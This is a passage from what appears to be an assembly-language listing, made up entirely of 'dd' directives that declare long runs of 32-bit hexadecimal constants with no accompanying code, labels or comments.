4806BF76h dd 35951503h, 6E701F01h, 9318D887h, 68649104h, 65E201DEh dd 1470EA41h, 834D59FDh, 0EF646F86h, 80C7FB1Eh, 553E9D30h dd 0A518EF3h, 32C3A26Dh, 0CE4D6E6Ch, 0A39682D1h, 0A9EA94D7h dd 0F36F79DDh, 0F166AE7Bh, 728F052Ah, 64CDD93h, 0B96E4F53h dd 101DE29Fh, 0BD93033Dh, 0F9A07879h, 4AE40F37h, 6F19554Fh dd 90FD3CACh, 20841AB1h, 22EE53BCh, 8FD5A2ABh, 0BC759937h dd 88B2B475h, 0FFD60B8Dh, 0A353D586h, 18EFAD14h, 0E5A58B49h dd 2B2BB053h, 12982925h, 7246B734h, 21B954A4h, 4BB7DFDBh dd 5873A73Ch, 6D9B60E3h, 0C628730Dh, 2F4BA213h, 90F671BBh dd 1059F78Dh, 767010A6h, 5B0323EFh, 0D6A36C1Fh, 65DF340h dd 0F4F898DEh, 8B41D25Bh, 0C564E18Fh, 5A84DBADh, 0EC5396CCh dd 0CEAD4CB0h, 0EFA0AE3Fh, 0B4994CAFh, 0D5CD1C89h, 0CFDA5E02h dd 0E6B113Bh, 400E0EB1h, 5260E8h, 115F5A3Bh, 2A43D597h dd 0E173605Ah, 752EB27Ah, 213CAEACh, 554EC229h, 7FD6B4F5h dd 1B955D0Dh, 850CC0F2h, 0FF0B638Bh, 0A7F48578h, 51C6E620h dd 72D74FD7h, 0B89EDAE9h, 0C7CB0868h, 0B76D49F4h, 0ADA884F0h dd 9AF31865h, 9363D3C9h, 0EB442717h, 8D38CDB2h, 986EC66Fh dd 0D82BC107h, 79C60091h, 0A72B3078h, 635E3143h, 0B38D5054h dd 0D6D6D692h, 0B4F49E1h, 49359CB0h, 9D7DE67Fh, 3413E07h dd 9AEF944Bh, 0BD37C32Eh, 24E0CCC3h, 3A070824h, 0C0453339h dd 8B9DBCCh, 4BFC5635h, 4F7BF210h, 5A54CAC3h, 60F32F5Dh dd 0AD8E7B23h, 79CA4DBCh, 2237DE38h, 0F7901E30h, 17FC3AEEh dd 35986FF7h, 4B57A9E1h, 95A11786h, 827549A2h, 1BEBC28Eh dd 2275888h, 0A9D1B185h, 0F7A9E809h, 0EA533EDFh, 1D260BAFh dd 94101C6Fh, 0FA80028Fh, 23B23C91h, 8E60728Eh, 92AB1D5Bh dd 488E11E4h, 90C3ABD4h, 9C3B9AFFh, 883050BFh, 4243C036h dd 4371AD02h, 2E50C337h, 0D508F7DCh, 0ED155FD0h, 65E023CEh dd 0B50D613Fh, 5F324EEFh, 482DC578h, 8E11CD3Bh, 0C7944C84h dd 545554CCh, 68E9D697h, 9A8F2766h, 98E636D5h, 210BD66h dd 754CFF24h, 48ECF047h, 0D3B08E1Ch, 663452AEh, 0CB9E81CBh dd 966BAA8Dh, 66806934h, 30D83215h, 0FBA1794Ah, 8478B882h dd 0E592CADh, 0E56124A1h, 0CA809D4Ch, 25010519h, 7B74AE7Fh dd 8E9734F3h, 4B401160h, 9FD70B82h, 76654517h, 929A447Dh dd 53EE99D7h, 87D62BA5h, 37D73B56h, 2BACB670h, 92CF93C2h dd 29DFE47Bh, 49624DAEh, 0A2D35103h, 428E97A1h, 0A97F8AB8h dd 98E86814h, 0C3F05F30h, 3ACBE34Ch, 645DCE02h, 0C9FF9F21h dd 8FA94BA6h, 0FC81B2Fh, 87FE9A97h, 56794118h, 1D7180E1h dd 0FC5B6152h, 19AA8CD9h, 7AEC0977h, 46F638ABh, 20D51AB2h dd 8B48E964h, 0AC040E0Bh, 369665AFh, 0A2DC17EFh, 0D51CD5A7h dd 727E1FADh, 72334D38h, 2B128326h, 0FFBE6579h, 0C9E701C5h dd 0EAB63F42h, 36066D01h, 0CB07CB7Bh, 0DED39C4h, 0AEEDDEC0h dd 0FCAFA0F1h, 4B29B186h, 0AA75F188h, 930803D5h, 90738964h dd 705C50CCh, 0D48C9310h, 0FB862A0Fh, 0F00EF186h, 9B98C2FCh dd 61291603h, 2DDBE8E7h, 2FE13642h, 8BE9BE4Fh, 3F0F6E5Bh dd 18331CD8h, 0D078F13Bh, 0E294C2C1h, 0FEC2A5C4h, 762B9F9h dd 25E98F63h, 0F0186116h, 0E282DF52h, 13EE67E6h, 67441DD0h dd 7B7D83B2h, 90A0A710h, 53CE41Fh, 6BF0BC63h, 9EAFA531h dd 0D8320146h, 0BA667960h, 0B635AF8Ch, 8023A273h, 38211D80h dd 0DBB66DBh, 9FE3E823h, 0A57B9B5Fh, 36F5E59Bh, 8DB8D41Ch dd 61E5FB97h, 96C515A3h, 233739BDh, 3B8EB38Ch, 4850E0FDh dd 737FDF58h, 5F7AE900h, 329FE716h, 3C4CB41Ch, 0BE7FFDB4h dd 0D703DB4Bh, 1233CE70h, 435E768Dh, 0E49FEE5Bh, 0E5ACD163h dd 0F0ADC334h, 0CDE33E27h, 435FB3F5h, 0CC3C8C2Eh, 927BE2C5h dd 0DE5A67C5h, 0C3B5FE0Fh, 382A7A95h, 52EC775Ah, 58BA26A1h dd 2695D849h, 8DD5C80h, 63AEC0CEh, 0F9AB2322h, 0B10C58E1h dd 15FE714Eh, 0F9BC121Ah, 0B925093h, 1511904Dh, 40270D45h dd 0ADE16F19h, 39DC3267h, 8FF656BFh, 9E280700h, 9230BE57h dd 0BEA31B9Eh, 9224E1C4h, 0E2C28962h, 0D9B93C47h, 7868158Ch dd 34FAA72h, 0A9797A72h, 0EC387889h, 3AA6A7ECh, 655872B0h dd 82130B63h, 57C417EBh, 28D22893h, 13B1808Dh, 0F83A8613h dd 6555A19Ch, 6B1CB7A5h, 7E7D4A51h, 561AFA69h, 75360915h dd 0C800E829h, 210F2D50h, 0F14282A9h, 13AD5D42h, 3158B1DFh dd 0B4FC636Eh, 6BA1A05Ah, 6D34F7C7h, 2D77BB3Ch, 7802E8ACh dd 0E1038FE7h, 7AE64708h, 45C8A927h, 0C99D925h, 974B2B7Fh dd 0E917412Ah, 0EB867F5Dh, 632D0FFEh, 45C385Ah, 6718D07h dd 0A59ADC2Bh, 0CDCB98AAh, 26EA83DBh, 988A7B1Ch, 0E0D335DEh dd 2354AA72h, 352E55DCh, 0F353160h, 0C2F69F5Ch, 5E59815h dd 30CF50A1h, 0F4A3C5A9h, 742E9469h, 69682419h, 3A93EF1Bh dd 8336FEB9h, 347057AEh, 48D16F09h, 8815972Ch, 9E3DBBFAh dd 699A9585h, 476C9683h, 80ECF29Bh, 355AF9C7h, 7B0FD90Bh dd 3BFA65F7h, 5804A7BAh, 1CE2D371h, 2F525D4Ah, 3C8FFE3Fh dd 43E53D34h, 115915DDh, 62C4FFB4h, 0DCFD7238h, 5A8DBD57h dd 159025D0h, 3D04BBCAh, 4703F2FFh, 0D0EA109Bh, 0A6CF5A3h dd 0B4F58692h, 998ABCB3h, 8C1C564Fh, 6449F7A6h, 34CF7C3Eh dd 0A898A718h, 4EACB9FFh, 0E977DDA6h, 34241725h, 19956598h dd 7C2889BCh, 1D83AA4Dh, 4D91F7F5h, 235C60F8h, 0AC6873AFh dd 289F4017h, 84F0750Ah, 482B6356h, 8EE80AAAh, 0F8AA1CDCh dd 12928A8Ah, 92259811h, 5FD9C394h, 807036FCh, 0F74D7875h dd 0DF55DF26h, 57E361B1h, 8BAD5F71h, 0D7822DCFh, 0CFC7789h dd 840D805Eh, 0E02ED00Bh, 0E908D373h, 0CC52FE76h, 0CB37752Ch dd 76C5A059h, 66235A4Dh, 7D15668Bh, 0BE1DFE87h, 8410C33Bh dd 94F02FE6h, 45A121FAh, 1606A266h, 3844A09Ah, 3F21FCDBh dd 0C0C11549h, 0CFE6AF05h, 0B4E75DAAh, 4C56EC64h, 5A58E016h dd 0B971A990h, 733DB120h, 0F3BCAB79h, 15D4A6D6h, 67B035D7h dd 29EF817Fh, 77B50975h, 4BE7D4B3h, 0E6F6F6B7h, 0D330AE63h dd 4F4EA2E9h, 3E214B00h, 64C3D0E5h, 0F54BB94Ah, 22C50D48h dd 0A10D6A80h, 233E4802h, 56A979D0h, 0BA4DD45Fh, 9A69B588h dd 0D0EBF606h, 0E2D0596Dh, 0B8BFE1FEh, 9CC1A5DFh, 0AC6FEE08h dd 2608F98Eh, 5F4AF00Eh, 6EA8DF07h, 20D78D59h, 0EDCE463Bh dd 0FB919DB7h, 9D18E469h, 0C623E4Eh, 5029DBD9h, 6FA4D579h dd 0AFE8A3DFh, 44B6762Ah, 767B4064h, 0A910C5B6h, 0D47F99D3h dd 0CAD64A20h, 17CD10EBh dd 0C9AF2D2Ah, 9A93D2A4h, 0DC6CE764h, 7FFBB3A7h, 0BA8A51ECh dd 0A061127Fh, 0B64C2553h, 0E9F7ED57h, 5913074Bh, 6C7696C5h dd 0CFA1FB46h, 4E7D215Dh, 82EAA07Ch, 0FC8A52EBh, 25F3EFDAh dd 14ACEB6Ch, 0AB17448Fh, 92BB1E8Ah, 0B34C62A5h, 0AD704D70h dd 227C0F3Bh, 898EDE7Eh, 5E6AFA58h, 0BCFCD41Dh, 10DA526Ch dd 93092CFEh, 48BAEBFh, 864F303Ch, 21AE8692h, 0D3BB54E9h dd 0BBE20763h, 2E4FF213h, 51235B78h, 301BD521h, 776DA4E7h dd 2EBF3F88h, 0E322DB81h, 0C31CF906h, 2A5B7F52h, 0FD9C41DDh dd 0E8C785FAh, 0B2B785D0h, 3DAD1BF5h, 0D78AB969h, 40682EC5h dd 0C206C3E9h, 875E58F8h, 834497DDh, 2D0EBB82h, 4FFB7D45h dd 0EBB85119h, 0CE6CDEF0h, 30433A02h, 70F1630Ah, 9A3C60CDh dd 8E5C6796h, 48C1A15Dh, 6007FFBh, 0AEE84917h, 0D5C965A7h dd 0B32EA25h, 67527139h, 2CF9C373h, 1D031C8Ch, 81660706h dd 0C88FDB5Eh, 0D7B37BA3h, 0CE75D907h, 88BC7386h, 6AC089BEh dd 8DB8EE31h, 0B1C72A62h, 29E759CCh, 6059680h, 0AA3F3Eh dd 26B67375h, 3AC50AC5h, 0DA9AE292h, 9C0760F1h, 974ECD59h dd 5BC412E7h, 4BFBB419h, 78E3FEB2h, 977690D2h, 90F47578h dd 0C7F0BD7Eh, 0BB7911E7h, 17CC411Ch, 0F080D956h, 81D96D42h dd 0CEEF1B10h, 0B2C00512h, 6FBF4150h, 0FA0F0EE4h, 52E186C4h dd 0FE036671h, 5E32712Eh, 5C115219h, 1D737EA7h, 0F1BEC693h dd 2B36A1CAh, 0E54A312Ch, 0A6DFCA8Eh, 8161D46h, 35E0407Bh dd 1FA4AD66h, 8F7DA50h, 2B4BA103h, 98B0FDF9h, 0F7CF174Fh dd 6628EBDCh, 46F636C4h, 65141BFDh, 685207EDh, 64EB2D18h dd 0D7A4123Ah, 0AD24F7F6h, 4D3A1054h, 0FB448A71h, 0E17D1453h dd 0CCCB853Ch, 1B0205C9h, 4AA9BCBFh, 0B0E24CDCh, 0D797D7C5h dd 5776479h, 0F3DBBCCDh, 0E384DF66h, 4358EB89h, 189E7790h dd 8E4B5849h, 0D7E48BEFh, 7990BC8Ah, 0D0C78B54h, 9134271Fh dd 5E39BCC3h, 3000AC90h, 16EF948Ah, 0F198F650h, 30FF19F8h dd 0FBB8B1C6h, 1850A253h, 76BAF604h, 12FE89FBh, 3A1CA459h dd 920BDEF2h, 0E3007821h, 9E7964CFh, 419AE791h, 0FF46F51Fh dd 2004534Ah, 0CCD0804Ch, 24DAFBFFh, 9C8E0F65h, 3809B9B8h dd 67E0F0E7h, 1AA5B376h, 0F7E2F331h, 0E0E29242h, 7A18ADB3h dd 0FA44D732h, 0A4877700h, 7B961E51h, 5F736F2h, 0E1B1004Bh dd 0C2B15847h, 0EEFC8175h, 68DC1D30h, 996DB1A8h, 2013E8D3h dd 34C56DCDh, 0BECC13E0h, 3B3D7159h, 41606060h, 0A7C8B47Bh dd 0A14A563Bh, 823F0F28h, 711098C4h, 1DDD16Ch, 107D94CFh dd 0BA9A7E0Ch, 0FBDA01F1h, 61C8536Dh, 87240183h, 9BECF62Eh dd 3ACE4909h, 68BF014Bh, 9EA20EB2h, 0E8A31BD4h, 0A3E91375h dd 89F26C55h, 502CD415h, 8FBDD7AFh, 352A53ADh, 0AC422937h dd 44B070DEh, 6F0378C3h, 56B0C5DFh, 7A848B7Ah, 0A13B9E91h dd 6A9ED4DAh, 97D89C46h, 4B5BE2Dh, 83B8EF05h, 4001DB52h dd 85CFCAC4h, 0C03C9609h, 0A281CDB6h, 750A2A37h, 0A61097F2h dd 0B0A75C1Bh, 25A6B6DCh, 0C060EE6Eh, 0EBA989ABh, 4C9DC603h dd 1846C25h, 263FD913h, 0E0C2DABBh, 0C1C7FA7Fh, 8D10DDB2h dd 0BCF46149h, 3AA29CAh, 39B110D2h, 416358C8h, 0A14DF496h dd 0D7BCF3A5h, 771B4BDBh, 8DAE07B3h, 0D9A5C462h, 0A99B2F12h dd 32461126h, 650939E5h, 43D4F9EAh, 7882B631h, 7143DF1Bh dd 4A181F6Ah, 21EF0102h, 79CB2F11h, 430C0B3Dh, 4BA735ADh dd 6FAAE8A4h, 6428C475h, 7F853F86h, 9C3C3037h, 2AB3C64h dd 0FB02D9B1h, 13731EFDh, 0D0CE9925h, 0C5CD624Ah, 38D76797h dd 9F0B4EBAh, 0F370D51Bh, 48B77A60h, 49A65AC0h, 0CB29711Bh dd 0B9E9CE11h, 7B75FD71h, 367AE6D9h, 30FF3206h, 0F4BEF540h dd 0CD6CF11Fh, 0C6E2C472h, 8AD6737h, 31E9598Dh, 97C8E71Fh dd 0E733EB45h, 0A688EFD9h, 0D2013D7Bh, 4CF12220h, 6DB0DBABh dd 99DC48B1h, 0A2AFE282h, 8F889A3h, 0DE8C86Ch, 5651D4C2h dd 0AE8D6350h, 39968C04h, 649DDABDh, 98D1467Fh, 0F1E5B14Dh dd 3BD46C55h, 41D64D11h, 29D89FAEh, 3371CBCFh, 4F73585Bh dd 2DE1776Ah, 0E2DEB202h, 0D2EE0B33h, 0FD0B708Ch, 4A7BF2B3h dd 0FCD67BC4h, 54796E21h, 2861A80Ch, 15050CFCh, 755F964Dh dd 0D037CDA1h, 8B3EE961h, 5F7F8DA7h, 1CA1B4F8h, 74648081h dd 9539E51Fh, 0B9116E7Ch, 3E0EE783h, 8A0EAF9Ch, 0B36B94C0h dd 0C06646C8h, 0E8FC1E5Dh, 6A81F2C7h, 0FA1E0F22h, 9A64EE91h dd 0C8D5D39h, 0E90F8D54h, 0C61F238Dh, 468F6D1Ah, 31E01ED9h dd 8CD86C95h, 996FC21Eh, 0B8C39DAEh, 0AEB37BDDh, 42E86E94h dd 5D90F655h, 0CD6C76BBh, 442F94F6h, 0F5F69334h, 54F355E6h dd 0DD110E3Ch, 0C670E62Fh, 8E9A1235h, 0B97B1E8h, 299FEA29h dd 4698D251h, 6078ED75h, 2982866Dh, 799666B6h, 7EC1A84Dh dd 0E240A124h, 0AB07849Dh, 0C268DC4Ah, 0C333DA28h, 0B3D24972h dd 0A17C069Ah, 6CAB8500h, 0C6078027h, 71B0563Eh, 5E6440E7h dd 8E73C993h, 112276D5h, 56F0A0ABh, 1EA4F1F0h, 8829D9D1h dd 6FEE70EBh, 0CC5E88D5h, 0A0000651h, 4291008Dh, 0ACF84C44h dd 23535E91h, 5C22F6E0h, 286E923Fh, 8D464FC9h, 0CDC03548h dd 4387FC97h, 7F38A468h, 88D875C4h, 277A4AE4h, 0E8858F0Dh dd 29C97806h, 0AEC3734Fh, 0DE8312AAh, 272EE785h, 998F1E1h dd 0F8726538h, 0F0500897h, 93C9A2A5h, 682ED237h, 675C0429h dd 38D810Fh, 0BB56C7CEh, 0DE83F76Fh, 0A07EC38Ah, 0BA761309h dd 0DCCCFEA6h, 964195Ch, 9F9050FBh, 3FC1BA08h, 9DE07376h dd 0F2A9625Ah, 0C39EDDF7h, 784AD794h, 58B32466h, 0D362798Dh dd 0C07F2185h, 0C025F725h, 0B64B4DEFh, 91D28482h, 63CFEA70h dd 1F02FAF0h, 0F45359DDh, 8EE8134Eh, 26AD4522h, 0F7D32F0Ch dd 13E7C1C2h, 495F31E7h, 0CB5DE1Bh, 0E9BB1480h, 0B48ABB02h dd 4AA2AE5Ah, 0BFD7266h, 8075EFA1h, 0EECAD4BAh, 1925BE5h dd 0A29A1618h, 0DCA481F7h, 8FE453DAh, 0AB59BE0h, 4DE32D2Bh dd 0C0A0B54Bh, 0BEE8D3BAh, 760B3E82h, 0EDDFBD9Dh, 4187E021h dd 1E63CC00h, 6529FCA5h, 43DF8DC6h, 7FD2666Dh, 680B2AB9h dd 1474E984h, 30E623EEh, 0C3058E36h, 0A6C3630Dh, 0EE1DCDADh dd 57B549B7h, 32BF52DFh, 0AEFFD8E3h, 48DB06B8h, 878079B6h dd 1D5F403Dh, 0FB2D9502h, 9189A20Eh, 82BE0841h, 0C4167A41h dd 6DFF407Ah, 59D93161h, 0CCB4BB8Dh, 7588CAF3h, 7AAC6887h dd 28F8A4A2h, 4908256Dh, 35C832F8h, 0EF14F2E0h, 0C8416143h dd 0A7838B32h, 98576C09h, 9F8A65AEh, 3B79CDECh, 44D3239Ch dd 28F160C4h, 3390DCCCh, 2DCEB715h, 88474F17h, 2B4F4ECAh dd 710A1022h, 7D911EFEh, 6FA5E9FCh, 7799C584h, 3E4B11Bh dd 0B4C5D09Eh, 12D3B48Ah, 33AB5CA2h, 0BC763D5Eh, 49CDD6CFh dd 1780B08Ah, 8570C775h, 681A09B3h, 0C1733E0Fh, 40DA9C1Ch dd 0D5D912E2h, 474EFCDEh, 731D7BA3h, 0CB844A65h, 0F591FE3h dd 0C477A879h, 40224352h, 0A8C562F6h, 5EE8E9DAh, 5EE6FC5Bh dd 15DCDC9Ah, 0ED8FE7D0h, 0D0BC2D75h, 0EF469B2Eh, 0F4602B7Fh dd 765924FAh, 70C1C72Bh, 0A0A7CCF9h, 0B25F5CF3h, 6BC59ACh dd 0D3249276h, 0C3742CF7h, 0B39DA490h, 37A2430Ah, 0FB98AFE3h dd 3EA69239h, 19097CBDh, 5022A021h, 95ED44F7h, 94DC72A8h dd 0CA3F50FFh, 9430EC82h, 0A0BF2710h, 3514A753h, 978577F2h dd 0CF15B547h, 59483C90h dd 9058A32Ah, 0FF0FA71Ah, 3F090C9h, 0BC5BBD37h, 8FB62DA1h dd 48C339A3h, 1882AD7Bh, 956890EEh, 2F4C669Eh, 8D3A4E06h dd 4F4E7998h, 0DE42F398h, 0A87D7A94h, 75EBD34Dh, 0FDB538EDh dd 169D0C17h, 0C192E15Ch, 6A9846A4h, 384739Fh, 0EFA31104h dd 7A7147Fh, 4B9F4800h, 231F2560h, 11CA23A0h, 0E5F12FCDh dd 0A76D5938h, 31B2CD28h, 7565FD71h, 0E9938A20h, 626B6A18h dd 1E36AF0Dh, 90BE0C8Ah, 35C75CD4h, 0BCEAF222h, 0CC442AB7h dd 1CC3FEDAh, 0BE00BD35h, 283299B7h, 0E2ECF1D9h, 1D75E727h dd 78FCAF3h, 41D77316h, 4EC09A29h, 0EFB89B72h, 0E4FE05B9h dd 0BCFFD640h, 0F472D2E9h, 47BA5FB3h, 66A44F49h, 0EC4978C0h dd 0A42DB056h, 2C82C020h, 63901A90h, 6AE2F227h, 0A233689Fh dd 10F96CE5h, 0C6A27066h, 0D45C312Dh, 9AD64DBAh, 0A486FA41h dd 8EA7258h, 4DDEF706h, 6F13A6A6h, 355F3C27h, 0B1B41CC5h dd 973C6832h, 1E38F7BAh, 412EE88Bh, 3D4289FBh, 38B72186h dd 0F08CA117h, 73A2E889h, 0C0C52310h, 1C00F594h, 4B05CD32h dd 0C0C4AFD5h, 0E2D78EF1h, 32A4A1A7h, 7904344Fh, 0D3A94552h dd 9DEB67BAh, 0FC4C6DEDh, 3B245BA7h, 49E89C3h, 139961A9h dd 0A0A48215h, 7573EA1Bh, 3446A0E0h, 8A00B5F9h, 0F04E1335h dd 827A036h, 792BADC1h, 0C09CF761h, 936326C9h, 0BA0550EBh dd 5295A2CDh, 0A1D9BBA9h, 8837A874h, 5B40595Bh, 2EEB8337h dd 1160905h, 61C3DFA4h, 0EA20CDCBh, 0C29D5C41h, 37020D4Ch dd 3FA112BEh, 78CC98C1h, 0A7100D38h, 2E97E1D6h, 0F463E48Eh dd 7945BA7Bh, 3C022720h, 8A7057EBh, 9DD85734h, 0FE855FCh dd 2BE7387Ch, 6E05BFC9h, 6B466E59h, 0B6254BA1h, 21A06D18h dd 0AF781480h, 6BAF5F34h, 297BE65Bh, 0C624346Dh, 0DA3076D5h dd 0FB3D0AE2h, 0EEF97ECCh, 1EFBB57Fh, 54FA5933h, 1ECB4398h dd 7A4A0D8Eh, 1850C1AFh, 0F023ADA4h, 954A01Ch, 0BEAF8519h dd 1D9D7EB9h, 7131CF8Dh, 29EB3ACCh, 1FB9AFF0h, 0C0FB1E32h dd 0AA10E253h, 0CF73B07h, 7B5FF02Bh, 0EEFB637Ah, 5B12981Bh dd 0BA495E9h, 8FDF6F2Eh, 0BC1CE4A1h, 52A51302h, 672F3F7Fh dd 21FBFD11h, 0DC40B022h, 0C2C98Eh, 8E489BD2h, 538B3259h dd 78362CEAh, 1DD9973Ch, 22137DFBh, 0FB88E52Dh, 7FC0BF1Eh dd 90E78C3Fh, 5DEA0F31h, 6C395906h, 64D37B3Ah, 0B12AC2B8h dd 0B4E15FCCh, 60BEF8F8h, 6C700F09h, 7CE1582Dh, 9821B8D7h dd 92821E79h, 0F453B2FAh, 669FC62Bh, 96EBC13Fh, 0C57BCE8h dd 0B2520B88h, 0B753BFF4h, 1312B8EEh, 0A55CCC6Ch, 136585D9h dd 0BF24562Fh, 4469863Ah, 0F665397Fh, 979B3128h, 0FB44E5D9h dd 2742918Dh, 80033A8Dh, 6FE98183h, 0D01A7049h, 0C90F76CCh dd 4A1C53E4h, 0F574ACDAh, 6D661D0Fh, 11E48A33h, 0ED544F98h dd 486DCA57h, 0A72A6C39h, 0F7BFEC04h, 829D2C58h, 0B00F736Dh dd 5B730AF6h, 580A2E57h, 1FC61191h, 84044162h, 0C558FDA0h dd 0B44EF61Bh, 365DF2D8h, 6F8CC12Eh, 0B577B8A7h, 0BE8814FFh dd 43719C8Eh, 0EDB0C0CEh, 84499C14h, 8E411FBEh, 4DB74CDDh dd 0F107FCBBh, 871E0933h, 0E06FA85Ch, 8A57752Bh, 707B3552h dd 30C3FDAEh, 7FD64103h, 9FAB4557h, 85CA58EEh, 25F13552h dd 0EFC07086h, 0C1E17B52h, 0EE346B5Eh, 0D4ED3A55h, 97A0F376h dd 0E45E7861h, 3C4F2602h, 13E2F3C6h, 701692DFh, 89D3F368h dd 9768EF32h, 80591Ah, 0CDC17A8Bh, 22F8F588h, 0C7E3D87Eh dd 53922D8h, 3F8749F0h, 7D0F3FECh, 0D0FA7D1Eh, 21D60634h dd 62959817h, 4DF8E263h, 0B0A12643h, 1A13B656h, 3CB214B8h dd 84445E38h, 67CE849Fh, 65C9ABC9h, 0E78BEAF4h, 0AC153F48h dd 41E67BEDh, 877F6A8Ch, 8BB8E747h, 0CAD124B1h, 4DE0FCEh dd 0DF6176E6h, 4BD8A0BFh, 0B0913DDBh, 0C75CFC71h, 0B1B8A7D5h dd 268B0A2Ch, 0E390EE43h, 53670DCEh, 0F3105DDBh, 0D09F80h dd 0F8193EBDh, 37150B0Bh, 8E8ABDF0h, 7CC8DA74h, 0AAFCB491h dd 0ECAF4E99h, 1D711ABEh, 0AF87B914h, 84CB229Ch, 86402D55h dd 0F7380F1Ch, 3C428937h, 107521A9h, 9436F400h, 1A4D2700h dd 517B81B5h, 9B4629B6h, 334E4A99h, 3AD96292h, 0AF45CD35h dd 9C35BB19h, 0E8DC5A36h, 0B10C1555h, 0C955009Bh, 7DEFB2C5h dd 0FEFC1D76h, 0E146C07Ch, 6DADD385h, 4E9D1C1Ah, 9A2209EEh dd 24DCF3C6h, 72042AB9h, 0A03564A6h, 0C0E27F30h, 6E9E035Ch dd 0A1480473h, 0E44E4B09h, 5E0421CBh, 8BF04F81h, 59562531h dd 0C5C5EDEBh, 3FAD665Ah, 0BB18D157h, 6C1C47D6h, 0F6158B2Dh dd 0E85E2A5Bh, 9624C969h, 0BF57CC4Ch, 0B6383514h, 88478DB2h dd 87A6C03h, 0F82DC7h, 864B1DD4h, 7A046853h, 6C5F6DB8h dd 0DF9714B6h, 7628956Ch, 608F9464h, 0A4B8542Eh, 0D5E02E2Ah dd 2CB49BA6h, 834904EBh, 0C74B52B3h, 0E841689Ch, 18015328h dd 7D10645Fh, 2FB3F1F9h, 0C33B7597h, 0A657077Fh, 0BAACF0DAh dd 0AA1D04E5h, 47B927C7h, 6A332B58h, 6848E8FFh, 44456C44h dd 9F906F93h, 44274899h, 588D014Bh, 5997F132h, 76FE2FBFh dd 0EA3E2A9Eh, 0B088FCD0h, 0A71C5A1h, 47383BF2h, 0BB1F7B15h dd 1ACA9352h, 710B2121h, 23A580A2h, 99C3BB6Eh, 62435271h dd 2E9BA2Bh, 0A152EF59h, 0D45C21ECh, 0C4783A05h, 0D4FFDEB7h dd 956607ADh, 539DD0D5h, 2D31269h, 0F3E554BFh, 3FA869A4h dd 73CF4394h, 3F84CCB0h, 9DCBC20h, 0B6970E11h, 0D8B2E1D9h dd 0F211E313h, 0E9E426D5h, 0B1519D45h, 63C76EEFh, 0ABD12C7h dd 7460F04Fh, 6769CDBDh, 807E30DEh, 0E01978E7h, 0AEDC6DCBh dd 5714B1B3h, 739205DDh, 0D0A29FBh, 87A524F5h, 4B9E3950h dd 0F57FB7F2h, 4A84A835h, 31DE10D3h, 0EAB5144Eh, 0D0603791h dd 0B4AC1B97h, 7A44210Bh, 22124C4Fh, 6F1D30B6h, 0E8958475h dd 0EC9220DBh, 0F09CD5DDh, 1713BB21h, 204853B7h, 0F07394E2h dd 98E691B7h, 0E62253D3h, 0C5839FF9h, 0D9CACA33h, 0B9DE5237h dd 5676BEEh, 8B303D6Ch, 0E9F45A21h, 0CE7312Ah, 9FD0B509h dd 966809E8h, 7E541D50h, 785EF638h, 3104F65Fh, 0B4A80092h dd 0B1884D0Ah, 4C0BF81Eh, 0E99CFA91h, 8A8BD8B0h, 155534D2h dd 1B6F09FEh, 0B954EBECh, 109A86B2h, 32BB46DEh, 0BDB68DA0h dd 0ABD95B16h, 84C84DABh, 1945CED4h, 0D9A32873h, 0FE354FD4h dd 425AE413h, 0FA4295F8h, 181F23Bh, 4DBEFEB2h, 281E4C2Ch dd 99103310h, 0D7E8BFB3h, 6DD0C884h, 0E973A1DDh, 0DB5456B8h dd 265EF838h, 6B68217Ch, 94D2B2A9h, 0C11E141Eh, 6AFAE36Eh dd 0F7F2B16Ch, 0AEDFCE48h, 0FCA35D32h, 788C701Eh, 72B3D31h dd 5FD27514h, 41898C7Fh, 5EC2084Eh, 0F67D9EECh, 7707F4E4h dd 453DB08Ch, 0B44B9F6Eh, 6AC92393h, 0D5857629h, 0C71A96A7h dd 0AEEEB1Fh, 4A6B4E5Eh, 6664A2F0h, 86A75682h, 9C8EC0BCh dd 0AAB98054h, 883DB429h, 465740D9h, 0CC19E4AFh, 0E8E7D111h dd 6A210A47h, 0BD04CBE2h, 6C2FA3BFh, 82EA089Bh, 8DF32ACCh dd 251272DAh, 0D65AADFCh, 86DE160Eh, 99E804E5h, 84B5CD3Bh dd 0E2175265h, 0F9D6DF8h, 43A9267Ah, 0EFF01DA1h, 27D1E1B3h dd 2F7B15F9h, 0C6D14834h, 86BF357Eh, 0BFEEBA79h, 0E39D284Ah dd 75534E11h, 91D96208h, 6AA35A9Bh, 9CAD0BA0h, 0BC52BC09h dd 5FF90EE4h, 1B39EEFCh, 36179AEDh, 0C39B8AD1h, 71519A13h dd 0AE1A19CEh, 46E0733Dh, 27D8F304h, 638AEE68h, 0CF14C8E3h dd 3C1A010h, 0B36241CDh dd 0B4A2E73h, 55619E35h, 0F0CCDD02h, 13E81893h, 0A425C74Bh dd 880AE78Dh, 67E139CAh, 0B3F94A09h, 812A0FDh, 842E976Ch dd 927F72CBh, 0F1779E1Fh, 728E0BE1h, 0C30DB4C3h, 0C1595B68h dd 0B2419FCCh, 7DAD06Bh, 0BF9E9381h, 0E0143A84h, 3B6E45ECh dd 27B33F5Bh, 0CF897A46h, 0DC9C2B5Bh, 0EFDA4132h, 0ED21200Ah dd 3502F166h, 1891BBA5h, 38940166h, 192B1D89h, 0A9190FE8h dd 0B097832Fh, 0ACFAE310h, 0D022EFA5h, 0B5444B0Fh, 0FAD41633h dd 3BF37419h, 30B7D13Eh, 0B723D9BAh, 0F4F5F978h, 3CCB4D4Ah dd 0E58C3769h, 115EDDBBh, 3D1B87D8h, 722D5E6Dh, 168D1B1h dd 0A7FC4812h, 0F3F6E13Fh, 317E5C2Eh, 152B626Bh, 0FE8477EBh dd 1B43831Fh, 6F209CC2h, 0C915165Dh, 290DB41Eh, 367D4D0Ch dd 34626776h, 0D055DE9Dh, 0CC8509EEh, 0D884AFA6h, 9524A361h dd 122D2471h, 0B28DDFh, 0CECB27D2h, 0AF3A24DAh, 0E51CA908h dd 107B4D93h, 9D8568E6h, 2B1EBF23h, 0C594E8CAh, 3D0A9DC5h dd 0B6A0C543h, 0CF91B90Ah, 3795FF5Ah, 0BF04912Bh, 4046CF9Dh dd 0D4CC38D5h, 5006A0F5h, 64DF2043h, 22306CD8h, 0C8605744h dd 80827231h, 0ED585E06h, 0ECCBB911h, 1A80D3A8h, 2F9F76EBh dd 0C370F57Ah, 124AF2ABh, 0B4D5CEFBh, 97AF9304h, 0E580B943h dd 0A5924DF3h, 0D36232DBh, 6A65565Bh, 8A6EBFCEh, 79B5767Ah dd 1007D073h, 64251655h, 0B83B6543h, 1ED8740Ch, 688DC89Ah dd 0F9C2F3A0h, 0CCFE45BCh, 26D71A66h, 723C33EAh, 0EC4E994Eh dd 